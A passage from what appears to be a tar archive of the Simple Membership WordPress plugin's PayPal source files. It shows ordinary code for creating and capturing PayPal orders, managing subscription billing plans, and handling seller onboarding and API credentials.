// Process the user profile creation/update. swpm_handle_subsc_signup_stand_alone( $ipn_data, $membership_level_id, $txn_id, $swpm_id ); } else { SwpmLog::log_simple_debug( 'Membership level ID is missing in the button configuration! Cannot process this notification.', false ); } // Save the transaction data. SwpmLog::log_simple_debug( 'Saving transaction data to the database table.', true ); SwpmTransactions::save_txn_record( $ipn_data, array() ); SwpmLog::log_simple_debug( 'Transaction data saved.', true ); return true; } public static function is_txn_already_processed( $ipn_data ){ // Query the DB to check if we have already processed this transaction or not. $txn_id = isset($ipn_data['txn_id']) ? $ipn_data['txn_id'] : ''; $payer_email = isset($ipn_data['payer_email']) ? $ipn_data['payer_email'] : ''; $txn_row = SwpmTransactions::get_transaction_row_by_txn_id_and_email($txn_id, $payer_email); if (!empty($txn_row)) { // And if we have already processed it, do nothing and return true SwpmLog::log_simple_debug( "This transaction has already been processed (Txn ID: ".$txn_id.", Payer Email: ".$payer_email."). This looks to be a duplicate notification. Nothing to do here.", true ); return true; } return false; } }��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������paypal/class-swpm-paypal-utility-functions.php������������������������������������������������������0000644�����������������00000025213�14720677707�0015653 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php class SWPM_PayPal_Utility_Functions{ public static function get_api_environment_mode_from_settings(){ $settings = SwpmSettings::get_instance(); $sandbox_enabled = $settings->get_value( 'enable-sandbox-testing' );//The value will be checked="checked" or empty string. if( !empty( $sandbox_enabled ) ){ $environment_mode = 'sandbox'; }else{ $environment_mode = 'production'; } return $environment_mode; } public static function get_api_base_url_by_environment_mode( $environment_mode = 'production' ) { if ($environment_mode == 'production') { return SWPM_PayPal_Main::$api_base_url_production; } else { return SWPM_PayPal_Main::$api_base_url_sandbox; } } public static function get_signup_url_by_environment_mode( $environment_mode = 'production' ) { if ($environment_mode == 'production') { return SWPM_PayPal_Main::$signup_url_production; } else { return SWPM_PayPal_Main::$signup_url_sandbox; } } public static function get_partner_id_by_environment_mode( $environment_mode = 'production' ) { if ($environment_mode == 'production') { return SWPM_PayPal_Main::$partner_id_production; } else { return SWPM_PayPal_Main::$partner_id_sandbox; } } public static function get_partner_client_id_by_environment_mode( $environment_mode = 'production' ) { if ($environment_mode == 'production') { return SWPM_PayPal_Main::$partner_client_id_production; } else { return SWPM_PayPal_Main::$partner_client_id_sandbox; } } /** * Gets the seller merchant ID (payer ID) by environment mode. * Used in the PayPal API calls (for setting PayPal-Auth-Assertion header value) */ public static function get_seller_merchant_id_by_environment_mode( $environment_mode = 'production' ) { $settings = SwpmSettings::get_instance(); $seller_merchant_id = ''; if ($environment_mode == 'production') { $seller_merchant_id = $settings->get_value('paypal-live-seller-merchant-id'); } else { $seller_merchant_id = $settings->get_value('paypal-sandbox-seller-merchant-id'); } return $seller_merchant_id; } public static function get_seller_client_id_by_environment_mode( $environment_mode = 'production' ) { $settings = SwpmSettings::get_instance(); $seller_client_id = ''; if ($environment_mode == 'production') { $seller_client_id = $settings->get_value('paypal-live-client-id'); } else { $seller_client_id = $settings->get_value('paypal-sandbox-client-id'); } return $seller_client_id; } public static function create_product_params_from_button( $button_id ){ $button_name = get_the_title( $button_id ); $product_params = array( 'name' => $button_name, 'type' => 'DIGITAL', ); return $product_params; } public static function create_subscription_args_from_button( $button_id ){ $subsc_args = array( 'currency' => get_post_meta($button_id, 'payment_currency', true), 'sub_trial_price' => get_post_meta($button_id, 'trial_billing_amount', true), 'sub_trial_period' => get_post_meta($button_id, 'trial_billing_cycle', true), 'sub_trial_period_type' => get_post_meta($button_id, 'trial_billing_cycle_term', true), 'sub_recur_price' => get_post_meta($button_id, 'recurring_billing_amount', true), 'sub_recur_period' => get_post_meta($button_id, 'recurring_billing_cycle', true), 'sub_recur_period_type' => get_post_meta($button_id, 'recurring_billing_cycle_term', true), 'sub_recur_count' => get_post_meta($button_id, 'recurring_billing_cycle_count', true), 'sub_recur_reattemp' => get_post_meta($button_id, 'recurring_billing_reattempt', true), ); return $subsc_args; } /** * Checks if the plan details (core subscription plan values) in new form submission have changed for the given button ID. */ public static function has_plan_details_changed_for_button( $button_id ){ $plan_details_changed = false; $core_plan_fields = array( 'payment_currency' => trim(sanitize_text_field($_REQUEST['payment_currency'])), 'recurring_billing_amount' => trim(sanitize_text_field($_REQUEST['recurring_billing_amount'])), 'recurring_billing_cycle' => trim(sanitize_text_field($_REQUEST['recurring_billing_cycle'])), 'recurring_billing_cycle_term' => trim(sanitize_text_field($_REQUEST['recurring_billing_cycle_term'])), 'recurring_billing_cycle_count' => trim(sanitize_text_field($_REQUEST['recurring_billing_cycle_count'])), 'trial_billing_amount' => trim(sanitize_text_field($_REQUEST['trial_billing_amount'])), 'trial_billing_cycle' => trim(sanitize_text_field($_REQUEST['trial_billing_cycle'])), 'trial_billing_cycle_term' => trim(sanitize_text_field($_REQUEST['trial_billing_cycle_term'])), ); foreach ( $core_plan_fields as $meta_name => $value ) { $old_value = get_post_meta( $button_id, $meta_name, true ); if ( $old_value !== $value ) { $plan_details_changed = true; } } return $plan_details_changed; } /** * Force creates a new billing plan for the button (the paypal account connection or the mode may have changed) */ public static function create_billing_plan_fresh_new( $button_id ){ //Reset any plan ID that may be saved for this button. //We need to create completely new plan (using the current PayPal account and mode) update_post_meta($button_id, 'pp_subscription_plan_id', ''); update_post_meta($button_id, 'pp_subscription_plan_mode', ''); $ret = array(); $ret = self::create_billing_plan_for_button( $button_id ); return $ret; } /** * Checks if a billling plan exists for the given button ID. If not, it creates a new billing plan in PayPal. * Returns the billing plan ID in an array. * @param mixed $button_id * @return array */ public static function create_billing_plan_for_button( $button_id ){ $output = ""; $ret = array(); $plan_id = get_post_meta($button_id, 'pp_subscription_plan_id', true); if ( empty ( $plan_id )){ //Billing plan doesn't exist. Need to create a new billing plan in PayPal. $product_params = self::create_product_params_from_button( $button_id ); $subsc_args = self::create_subscription_args_from_button( $button_id ); //Setup the PayPal API Injector class. This class is used to do certain premade API queries. $pp_api_injector = new SWPM_PayPal_Request_API_Injector(); $paypal_req_api = $pp_api_injector->get_paypal_req_api(); $paypal_mode = $paypal_req_api->get_api_environment_mode(); // Debugging // echo '<pre>'; // var_dump($paypal_req_api); // echo '</pre>'; $plan_id = $pp_api_injector->create_product_and_billing_plan($product_params, $subsc_args); if ( $plan_id !== false ) { //Plan created successfully. Save the plan ID for future reference. update_post_meta($button_id, 'pp_subscription_plan_id', $plan_id); update_post_meta($button_id, 'pp_subscription_plan_mode', $paypal_mode); $ret['success'] = true; $ret['plan_id'] = $plan_id; $ret['output'] = $output; return $ret; } else { //Plan creation failed. Show an error message. $last_error = $paypal_req_api->get_last_error(); $error_message = isset($last_error['error_message']) ? $last_error['error_message'] : ''; $output .= '<div class="swpm-paypal-api-error-msg">'; $output .= '<p>Error! Failed to create a subscription billing plan in your PayPal account. The following error message was returned from the PayPal API.</p>'; $output .= '<p>Error Message: ' . esc_attr($error_message) . '</p>'; $output .= '</div>'; $ret['success'] = false; $ret['plan_id'] = ''; $ret['error_message'] = $error_message; $ret['output'] = $output; return $ret; } } $ret['success'] = true; $ret['plan_id'] = $plan_id; $ret['output'] = $output; return $ret; } public static function check_billing_plan_exists( $plan_id ){ //Setup the PayPal API Injector class. This class is used to do certain premade API queries. $pp_api_injector = new SWPM_PayPal_Request_API_Injector(); //Use the "Show plan details" API call to verify that the plan exists for the given account and mode. https://developer.paypal.com/docs/api/subscriptions/v1/#plans_get $plan_details = $pp_api_injector->get_paypal_billing_plan_details( $plan_id ); if( $plan_details !== false ){ //Plan exists. Return true. return true; } $paypal_req_api = $pp_api_injector->get_paypal_req_api(); $paypal_mode = $paypal_req_api->get_api_environment_mode(); Swpmlog::log_simple_debug( "Billing plan with ID: ". $plan_id . " does not exist in PayPal. The check was done in mode: ".$paypal_mode.". Maybe the plan was originally created in a different environment mode or account.", true ); return false; } /** * Checks if a webhook already exists for this site for BOTH sandbox and production modes. If one doesn't exist, create one. */ public static function check_and_create_webhooks_for_this_site() { $pp_webhook = new SWPM_PayPal_Webhook(); $pp_webhook->check_and_create_webhooks_for_both_modes(); } public static function check_current_mode_and_set_notice_if_webhook_not_set() { //Check if the current mode is sandbox or production. Then check if a webhook is set for that mode. //If not, show a notice to the admin user by using the admin_notice hook. //TODO - need to finilaize this. //update_option( "swpm_show_{$mode}_webhook_notice", 'no' === $ret[ $mode ]['status'] ); //Check the following code for example: //add_action( 'admin_notices', array( $this, 'show_webhooks_admin_notice' ) ); } }�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������paypal/class-swpm-paypal-button-ajax-handler.php����������������������������������������������������0000644�����������������00000021237�14720677707�0016013 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This clcass handles the ajax requests from the PayPal button's createOrder, captureOrder functions. * On successful onApprove event, it creates the required $ipn_data array from the transaction so it can be fed into the existing IPN handler functions easily. */ class SWPM_PayPal_Button_Ajax_Hander { public function __construct() { //Handle it at 'wp_loaded' hook since custom post types will also be available at that point. add_action( 'wp_loaded', array(&$this, 'setup_ajax_request_actions' ) ); } /** * Setup the ajax request actions. */ public function setup_ajax_request_actions() { //Handle the create-order ajax request for 'Buy Now' type buttons. add_action( 'wp_ajax_swpm_pp_create_order', array(&$this, 'swpm_pp_create_order' ) ); add_action( 'wp_ajax_nopriv_swpm_pp_create_order', array(&$this, 'swpm_pp_create_order' ) ); //Handle the capture-order ajax request for 'Buy Now' type buttons. add_action( 'wp_ajax_swpm_pp_capture_order', array(&$this, 'swpm_pp_capture_order' ) ); add_action( 'wp_ajax_nopriv_swpm_pp_capture_order', array(&$this, 'swpm_pp_capture_order' ) ); } /** * Handle the swpm_pp_create_order ajax request for 'Buy Now' type buttons. */ public function swpm_pp_create_order(){ //Get the data from the request $data = isset( $_POST['data'] ) ? stripslashes_deep( $_POST['data'] ) : array(); if ( empty( $data ) ) { wp_send_json( array( 'success' => false, 'err_msg' => __( 'Empty data received.', 'simple-membership' ), ) ); } if( !is_array( $data ) ){ //Convert the JSON string to an array (Vanilla JS AJAX data will be in JSON format). $data = json_decode( $data, true); } $button_id = isset( $data['button_id'] ) ? sanitize_text_field( $data['button_id'] ) : ''; $on_page_button_id = isset( $data['on_page_button_id'] ) ? sanitize_text_field( $data['on_page_button_id'] ) : ''; SwpmLog::log_simple_debug( 'swpm_pp_create_order ajax request received for createOrder. Button ID: '.$button_id.', On Page Button ID: ' . $on_page_button_id, true ); // Check nonce. if ( ! check_ajax_referer( $on_page_button_id, '_wpnonce', false ) ) { wp_send_json( array( 'success' => false, 'err_msg' => __( 'Nonce check failed. The page was most likely cached. Please reload the page and try again.', 'simple-membership' ), ) ); exit; } //Get the Item name for this button. This will be used as the item name in the IPN. $button_cpt = get_post($button_id); //Retrieve the CPT for this button $item_name = htmlspecialchars($button_cpt->post_title); $item_name = substr($item_name, 0, 127);//Limit the item name to 127 characters (PayPal limit) //Get the payment amount for this button. $payment_amount = get_post_meta($button_id, 'payment_amount', true); //Get the currency for this button. $currency = get_post_meta( $button_id, 'payment_currency', true ); $quantity = 1; $digital_goods_enabled = 1; // Create the order using the PayPal API. // https://developer.paypal.com/docs/api/orders/v2/#orders_create $data = array( 'item_name' => $item_name, 'payment_amount' => $payment_amount, 'currency' => $currency, 'quantity' => $quantity, 'digital_goods_enabled' => $digital_goods_enabled, ); //Set the additional args for the API call. $additional_args = array(); $additional_args['return_response_body'] = true; //Create the order using the PayPal API. $api_injector = new SWPM_PayPal_Request_API_Injector(); $response = $api_injector->create_paypal_order_by_url_and_args( $data, $additional_args ); //We requested the response body to be returned, so we need to JSON decode it. if( $response !== false ){ $order_data = json_decode( $response, true ); $paypal_order_id = isset( $order_data['id'] ) ? $order_data['id'] : ''; } else { //Failed to create the order. wp_send_json( array( 'success' => false, 'err_msg' => __( 'Failed to create the order using PayPal API. Enable the debug logging feature to get more details.', 'simple-membership' ), ) ); exit; } SwpmLog::log_simple_debug( 'PayPal Order ID: ' . $paypal_order_id, true ); //If everything is processed successfully, send the success response. wp_send_json( array( 'success' => true, 'order_id' => $paypal_order_id, 'order_data' => $order_data ) ); exit; } /** * Handles the order capture for standard 'Buy Now' type buttons. */ public function swpm_pp_capture_order(){ //Get the data from the request $data = isset( $_POST['data'] ) ? stripslashes_deep( $_POST['data'] ) : array(); if ( empty( $data ) ) { wp_send_json( array( 'success' => false, 'err_msg' => __( 'Empty data received.', 'simple-membership' ), ) ); } if( !is_array( $data ) ){ //Convert the JSON string to an array (Vanilla JS AJAX data will be in JSON format). $data = json_decode( $data, true); } //Get the order_id from data $order_id = isset( $data['order_id'] ) ? sanitize_text_field($data['order_id']) : ''; if ( empty( $order_id ) ) { SwpmLog::log_simple_debug( 'swpm_pp_capture_order - empty order ID received.', false ); wp_send_json( array( 'success' => false, 'err_msg' => __( 'Empty order ID received.', 'simple-membership' ), ) ); } $button_id = isset( $data['button_id'] ) ? sanitize_text_field( $data['button_id'] ) : ''; $on_page_button_id = isset( $data['on_page_button_id'] ) ? sanitize_text_field( $data['on_page_button_id'] ) : ''; SwpmLog::log_simple_debug( 'Received request - swpm_pp_capture_order. Order ID: ' . $order_id . ', Button ID: '.$button_id.', On Page Button ID: ' . $on_page_button_id, true ); // Check nonce. if ( ! check_ajax_referer( $on_page_button_id, '_wpnonce', false ) ) { wp_send_json( array( 'success' => false, 'err_msg' => __( 'Nonce check failed. The page was most likely cached. Please reload the page and try again.', 'simple-membership' ), ) ); exit; } //Set the additional args for the API call. $additional_args = array(); $additional_args['return_response_body'] = true; // Capture the order using the PayPal API. // https://developer.paypal.com/docs/api/orders/v2/#orders_capture $api_injector = new SWPM_PayPal_Request_API_Injector(); $response = $api_injector->capture_paypal_order( $order_id, $additional_args ); //We requested the response body to be returned, so we need to JSON decode it. if($response !== false){ $txn_data = json_decode( $response, true );//JSON decode the response body that we received. $paypal_capture_id = isset( $txn_data['id'] ) ? $txn_data['id'] : ''; } else { //Failed to capture the order. wp_send_json( array( 'success' => false, 'err_msg' => __( 'Failed to capture the order. Enable the debug logging feature to get more details.', 'simple-membership' ), ) ); exit; } SwpmLog::log_simple_debug( 'PayPal Capture ID (Transaction ID): ' . $paypal_capture_id, true ); //-- // SwpmLog::log_array_data_to_debug($data, true);//Debugging purpose. // SwpmLog::log_array_data_to_debug($txn_data, true);//Debugging purpose. //-- //Create the IPN data array from the transaction data. //Need to have the following values in the $data array. //['order_id']['button_id']['on_page_button_id']['item_name']['custom_field'] $ipn_data = SWPM_PayPal_Utility_IPN_Related::create_ipn_data_array_from_capture_order_txn_data( $data, $txn_data ); SwpmLog::log_array_data_to_debug( $ipn_data, true );//Debugging purpose. /* Since this capture is done from server side, the validation is not required but we are doing it anyway. */ //Validate the buy now txn data before using it. $validation_response = SWPM_PayPal_Utility_IPN_Related::validate_buy_now_checkout_txn_data( $data, $txn_data ); if( $validation_response !== true ){ //Debug logging will reveal more details. wp_send_json( array( 'success' => false, 'error_detail' => $validation_response,/* it contains the error message */ ) ); exit; } //Process the IPN data array SwpmLog::log_simple_debug( 'Validation passed. Going to create/update member account and save transaction data.', true ); SWPM_PayPal_Utility_IPN_Related::create_membership_and_save_txn_data( $data, $txn_data, $ipn_data ); // Trigger the IPN processed action hook (so other plugins can can listen for this event). do_action( 'swpm_paypal_buy_now_checkout_ipn_processed', $ipn_data ); do_action( 'swpm_payment_ipn_processed', $ipn_data ); //Everything is processed successfully, send the success response. wp_send_json( array( 'success' => true, 'order_id' => $order_id, 'capture_id' => $paypal_capture_id, 'txn_data' => $txn_data ) ); exit; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������paypal/onboarding-related/class-swpm-paypal-onboarding-serverside.php�������������������������������0000644�����������������00000046323�14720677707�0022202 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Handles server side tasks during PPCP onboarding. */ class SWPM_PayPal_PPCP_Onboarding_Serverside { public function __construct() { //Setup AJAX request handler for the onboarding process. add_action( 'wp_ajax_swpm_handle_onboarded_callback_data', array(&$this, 'handle_onboarded_callback_data' ) ); add_action( 'wp_ajax_nopriv_handle_onboarded_callback_data', array(&$this, 'handle_onboarded_callback_data' ) ); } public function handle_onboarded_callback_data(){ //Handle the data sent by PayPal after the onboarding process. //The get_option('swpm_ppcp_connect_query_args_'.$environment_mode) will give you the query args that you sent to the PayPal onboarding page SwpmLog::log_simple_debug( 'Onboarding step: handle_onboarded_callback_data.', true ); //Get the data from the request $data = isset( $_POST['data'] ) ? stripslashes_deep( $_POST['data'] ) : array(); if ( empty( $data ) ) { wp_send_json( array( 'success' => false, 'msg' => __( 'Empty data received.', 'simple-membership' ), ) ); } $data_array = json_decode($data, true); //TODO - Debugging purpose only //SwpmLog::log_array_data_to_debug( $data_array, true ); //Check nonce. $nonce_string = SWPM_PayPal_PPCP_Onboarding::$account_connect_string; if ( ! check_ajax_referer( $nonce_string, '_wpnonce', false ) ) { wp_send_json( array( 'success' => false, 'msg' => __( 'Nonce check failed. The page was most likely cached. Please reload the page and try again.', 'simple-membership' ), ) ); exit; } //Get the environment mode. $environment_mode = isset( $data_array['environment'] ) ? $data_array['environment'] : 'production'; //=== Generate the access token using the shared id and auth code. === $access_token = $this->generate_token_using_shared_id( $data_array['sharedId'], $data_array['authCode'], $environment_mode); if ( ! $access_token ) { //Failed to generate token. wp_send_json( array( 'success' => false, 'msg' => __( 'Failed to generate access token. check debug log file for any error message.', 'simple-membership' ), ) ); exit; } //=== Get the seller API credentials using the access token. === //SwpmLog::log_simple_debug( 'Onboarding step: access token generated successfully. Token: ' . $access_token, true );//Debug purpose only $seller_api_credentials = $this->get_seller_api_credentials_using_token( $access_token, $environment_mode ); if ( ! $seller_api_credentials ) { //Failed to get seller API credentials. wp_send_json( array( 'success' => false, 'msg' => __( 'Failed to get seller API credentials. check debug log file for any error message.', 'simple-membership' ), ) ); } //Save the credentials to the database. $this->save_seller_api_credentials( $seller_api_credentials, $environment_mode); //=== Bearer token === //Let's use the already generated access token throughout the onboarding process. $bearer_token = $access_token; //SwpmLog::log_simple_debug( 'Onboarding step: using access token from the previous step. Token: ' . $bearer_token, true );//Debug purpose only //=== Seller account status === $seller_account_status = $this->get_seller_account_status_data_using_bearer_token($bearer_token, $seller_api_credentials, $environment_mode ); SwpmLog::log_array_data_to_debug( $seller_account_status, true ); if( ! $seller_account_status ){ //Failed to get seller account status. wp_send_json( array( 'success' => false, 'msg' => __( 'Failed to get seller account status. check debug log file for any error message.', 'simple-membership' ), ) ); } //Save the seller paypal email to the database. //The paypal email address of the seller will be available in the 'tracking_id' field of the seller_account_status array. $seller_paypal_email = isset( $seller_account_status['tracking_id'] )? $seller_account_status['tracking_id'] : ''; $this->save_seller_paypal_email( $seller_paypal_email, $environment_mode ); //Check if the seller account is limited or not. if( ! $seller_account_status['payments_receivable'] ){ //Seller account is limited. Show a message to the seller. wp_send_json( array( 'success' => false, 'msg' => __( 'Your PayPal account is limited so you cannot accept payment. Contact PaPal support or check your PayPal account inbox for an email from PayPal for the next steps to remove the account limit.', 'simple-membership' ), ) ); } if( ! $seller_account_status['primary_email_confirmed'] ){ //Seller account is limited. Show a message to the seller. wp_send_json( array( 'success' => false, 'msg' => __( 'Your PayPal account email is not confirmed. Check your PayPal account inbox for an email from PayPal to confirm your PayPal email address.', 'simple-membership' ), ) ); } SwpmLog::log_simple_debug( 'PPCP_STANDARD vetting_status: ' . $seller_account_status['ppcp_standard_vetting_status'], true ); SwpmLog::log_simple_debug( 'CUSTOM_CARD_PROCESSING status: ' . $seller_account_status['custom_card_processing_status'], true ); //Webhooks will be created (if not already created) when the admin creates subsription payment buttons //Save the onboarding complete and other related flag to the database. $settings = SwpmSettings::get_instance(); $settings->set_value('paypal-ppcp-vetting-status-'.$environment_mode, $seller_account_status['ppcp_standard_vetting_status']); // ACDC Related - PPCP_STANDARD vetting_status $settings->set_value('paypal-ppcp-custom-card-processing-status-'.$environment_mode, $seller_account_status['custom_card_processing_status']); // ACDC Related - CUSTOM_CARD_PROCESSING Status $settings->set_value('paypal-ppcp-onboarding-'.$environment_mode, 'completed'); $settings->save(); //Delete any cached token using the old credentials (so it is forced to generate and cache a new one after onboarding (when new API call is made))) SWPM_PayPal_Bearer::delete_cached_token(); SwpmLog::log_simple_debug( 'Successfully processed the handle_onboarded_callback_data. Environment mode: '.$environment_mode, true ); //If everything is processed successfully, send the success response. wp_send_json( array( 'success' => true, 'msg' => 'Succedssfully processed the handle_onboarded_callback_data.' ) ); exit; } /* * Gets the seller's account status data. So we can check if payments_receivable flag is true and primary_email_confirmed flag is true * Returns an array with client_id and client_secret or false otherwise. */ public function get_seller_account_status_data_using_bearer_token($bearer_token, $seller_api_credentials, $environment_mode = 'production'){ SwpmLog::log_simple_debug( 'Onboarding step: get_seller_account_status_data. Environment mode: ' . $environment_mode, true ); $api_base_url = SWPM_PayPal_Utility_Functions::get_api_base_url_by_environment_mode( $environment_mode ); $partner_id = SWPM_PayPal_Utility_Functions::get_partner_id_by_environment_mode( $environment_mode ); $url = trailingslashit( $api_base_url ) . 'v1/customer/partners/' . $partner_id . '/merchant-integrations/' . $seller_api_credentials['payer_id']; $args = array( 'method' => 'GET', 'headers' => array( 'Content-Type' => 'application/json', 'Authorization' => 'Bearer ' . $bearer_token, 'PayPal-Partner-Attribution-Id' => 'TipsandTricks_SP_PPCP', ), ); //Debug purpose only //SwpmLog::log_simple_debug( 'PayPal API request headers for getting seller account status: ', true ); //SwpmLog::log_array_data_to_debug( $args, true); $response = SWPM_PayPal_Request_API::send_request_by_url_and_args( $url, $args ); if ( is_wp_error( $response ) ) { //WP could not post the request. $error_msg = $response->get_error_message();//Get the error from the WP_Error object. SwpmLog::log_simple_debug( 'Failed to post the request to the PayPal API. Error: ' . $error_msg, false ); return false; } $json = json_decode( wp_remote_retrieve_body( $response ) ); $status_code = (int) wp_remote_retrieve_response_code( $response ); if ( $status_code !== 200 ) { //PayPal API returned an error. $response_body = wp_remote_retrieve_body( $response ); SwpmLog::log_simple_debug( 'PayPal API returned an error. Status Code: ' . $status_code . ' Response Body: ' . $response_body, false ); return false; } if ( ! isset( $json->payments_receivable ) || ! isset( $json->primary_email_confirmed ) ) { //Seller status not found. Log error. if (isset( $json->error )) { //Try to get the error descrption (if present) $error_msg = isset($json->error_description)? $json->error_description : $json->error; } else { $error_msg = 'The payments_receivable and primary_email_confirmed flags are not set.'; } SwpmLog::log_simple_debug( 'Failed to get seller PayPal account status. Status code: '.$status_code.', Error msg: ' . $error_msg, false ); return false; } // ACDC Related - Check 'PPCP_STANDARD' vetting_status & 'CUSTOM_CARD_PROCESSING' Status // Check if products is set and is an array $ppcp_standard_vetting_status = ''; if (isset($json->products) && is_array($json->products)) { foreach ($json->products as $product) { // Check if the name property exists and equals 'PPCP_STANDARD' if (isset($product->name) && $product->name === 'PPCP_STANDARD') { // Check if vetting_status property exists if (isset($product->vetting_status)) { $ppcp_standard_vetting_status = $product->vetting_status; // Break the loop if the desired product is found break; } } } } // Check if capabilities is set and is an array $custom_card_processing_status = ''; if (isset($json->capabilities) && is_array($json->capabilities)) { foreach ($json->capabilities as $capability) { // Check if the name property exists and equals 'CUSTOM_CARD_PROCESSING' if (isset($capability->name) && $capability->name === 'CUSTOM_CARD_PROCESSING') { // Check if status property exists if (isset($capability->status)) { $custom_card_processing_status = $capability->status; // We found the status, no need to continue the loop break; } } } } //Success. return the data we will use. return array( 'merchant_id' => $json->merchant_id, 'tracking_id' => $json->tracking_id,/* This will be the paypal account email address */ 'payments_receivable' => $json->payments_receivable, 'primary_email_confirmed' => $json->primary_email_confirmed, 'ppcp_standard_vetting_status' => $ppcp_standard_vetting_status, // ACDC Related - PPCP_STANDARD vetting_status 'custom_card_processing_status' => $custom_card_processing_status, // ACDC Related - CUSTOM_CARD_PROCESSING Status ); } public function save_seller_paypal_email( $seller_paypal_email, $environment_mode = 'production' ) { //This is saved as a separate method because the seller paypal email is not available in the get seller api credentials call. //The seller paypal email is available in the get seller account status call. $settings = SwpmSettings::get_instance(); if( $environment_mode == 'sandbox' ){ $settings->set_value('paypal-sandbox-seller-paypal-email', $seller_paypal_email); } else { $settings->set_value('paypal-live-seller-paypal-email', $seller_paypal_email); } $settings->save(); SwpmLog::log_simple_debug( 'Seller PayPal email address ('.$seller_paypal_email.') saved successfully (environment mode: '.$environment_mode.').', true ); } public function save_seller_api_credentials( $seller_api_credentials, $environment_mode = 'production' ) { // Save the API credentials to the database. $settings = SwpmSettings::get_instance(); if( $environment_mode == 'sandbox' ){ //Sandobx mode $settings->set_value('paypal-sandbox-client-id', $seller_api_credentials['client_id']); $settings->set_value('paypal-sandbox-secret-key', $seller_api_credentials['client_secret']); $settings->set_value('paypal-sandbox-seller-merchant-id', $seller_api_credentials['payer_id']);//Seller Merchant ID } else { //Production mode $settings->set_value('paypal-live-client-id', $seller_api_credentials['client_id']); $settings->set_value('paypal-live-secret-key', $seller_api_credentials['client_secret']); $settings->set_value('paypal-live-seller-merchant-id', $seller_api_credentials['payer_id']);//Seller Merchant ID } $settings->save(); SwpmLog::log_simple_debug( 'Seller API credentials (environment mode: '.$environment_mode.') saved successfully.', true ); } public static function reset_seller_api_credentials( $environment_mode = 'production' ) { // Save the API credentials to the database. $settings = SwpmSettings::get_instance(); if( $environment_mode == 'sandbox' ){ //Sandobx mode $settings->set_value('paypal-sandbox-client-id', ''); $settings->set_value('paypal-sandbox-secret-key', ''); $settings->set_value('paypal-sandbox-seller-merchant-id', '');//Seller Merchant ID $settings->set_value('paypal-sandbox-seller-paypal-email', '');//Seller PayPal Email } else { //Production mode $settings->set_value('paypal-live-client-id', ''); $settings->set_value('paypal-live-secret-key', ''); $settings->set_value('paypal-live-seller-merchant-id', '');//Seller Merchant ID $settings->set_value('paypal-live-seller-paypal-email', '');//Seller PayPal Email } //Reset the onboarding complete flag (for the corresponding mode) to the database. $settings->set_value('paypal-ppcp-onboarding-'.$environment_mode, ''); //Save the settings $settings->save(); SwpmLog::log_simple_debug( 'Seller API credentials (environment mode: '.$environment_mode.') reset/removed successfully.', true ); //Delete any cached token using the old credentials (so it is forced to generate and cache a new one after onboarding (when new API call is made))) SWPM_PayPal_Bearer::delete_cached_token(); SwpmLog::log_simple_debug( 'Executed delete PayPal bearer cached token function (to clean it up).', true ); } /** * Generates a token using the shared_id and auth_token and seller_nonce. Used during the onboarding process. * * @param string $shared_id The shared id. * @param string $auth_code The auth code. * @param string $environment_mode The environment mode. sandbox or production. * * Returns the token or false otherwise. */ public function generate_token_using_shared_id( $shared_id, $auth_code, $environment_mode = 'production' ) { SwpmLog::log_simple_debug( 'Onboarding step: generate_token_using_shared_id. Environment mode: ' . $environment_mode, true ); if( isset($environment_mode) && $environment_mode == 'sandbox' ){ $query_args = get_option('swpm_ppcp_connect_query_args_'.$environment_mode); $seller_nonce = isset($query_args['sellerNonce']) ? $query_args['sellerNonce'] : ''; } else { $query_args = get_option('swpm_ppcp_connect_query_args_'.$environment_mode); $seller_nonce = isset($query_args['sellerNonce']) ? $query_args['sellerNonce'] : ''; } SwpmLog::log_simple_debug( 'Seller nonce value: ' . $seller_nonce, true ); $api_base_url = SWPM_PayPal_Utility_Functions::get_api_base_url_by_environment_mode( $environment_mode ); $url = trailingslashit( $api_base_url ) . 'v1/oauth2/token/'; //Note: we don't have the seller merchant ID yet. So cannot use the auth assertion header. $args = array( 'method' => 'POST', 'headers' => array( 'Authorization' => 'Basic ' . base64_encode( $shared_id . ':' ), ), 'body' => array( 'grant_type' => 'authorization_code', 'code' => $auth_code, 'code_verifier' => $seller_nonce, ), ); //SwpmLog::log_array_data_to_debug( $args, true);//Debugging purpose $response = SWPM_PayPal_Request_API::send_request_by_url_and_args( $url, $args ); //SwpmLog::log_array_data_to_debug( $response, true);//Debugging purpose if ( is_wp_error( $response ) ) { //WP could not post the request. $error_msg = $response->get_error_message();//Get the error from the WP_Error object. SwpmLog::log_simple_debug( 'Failed to post the request to the PayPal API. Error: ' . $error_msg, false ); return false; } $json = json_decode( $response['body'] ); $status_code = (int) wp_remote_retrieve_response_code( $response );//HTTP response code (ex: 400) if ( ! isset( $json->access_token ) ) { //No token found. Log error. if (isset( $json->error )) { //Try to get the error descrption (if present) $error_msg = isset($json->error_description) ? $json->error_description : $json->error; } else { $error_msg = 'No token found.'; } SwpmLog::log_simple_debug( 'Failed to generate token. Status code: '.$status_code.', Error msg: ' . $error_msg, false ); return false; } //Success. return the token. return (string) $json->access_token; } /* * Gets the seller's API credentials using the access token. * Returns an array with client_id and client_secret or false otherwise. */ public function get_seller_api_credentials_using_token($access_token, $environment_mode = 'production'){ SwpmLog::log_simple_debug( 'Onboarding step: get_seller_api_credentials_using_token. Environment mode: ' . $environment_mode, true ); $api_base_url = SWPM_PayPal_Utility_Functions::get_api_base_url_by_environment_mode( $environment_mode ); $partner_merchant_id = SWPM_PayPal_Utility_Functions::get_partner_id_by_environment_mode( $environment_mode ); $url = trailingslashit( $api_base_url ) . 'v1/customer/partners/' . $partner_merchant_id . '/merchant-integrations/credentials/'; //Note: we don't have the seller merchant ID yet. So cannot use the auth assertion header. $args = array( 'method' => 'GET', 'headers' => array( 'Authorization' => 'Bearer ' . $access_token, 'Content-Type' => 'application/json', ), ); $response = SWPM_PayPal_Request_API::send_request_by_url_and_args( $url, $args ); if ( is_wp_error( $response ) ) { //WP could not post 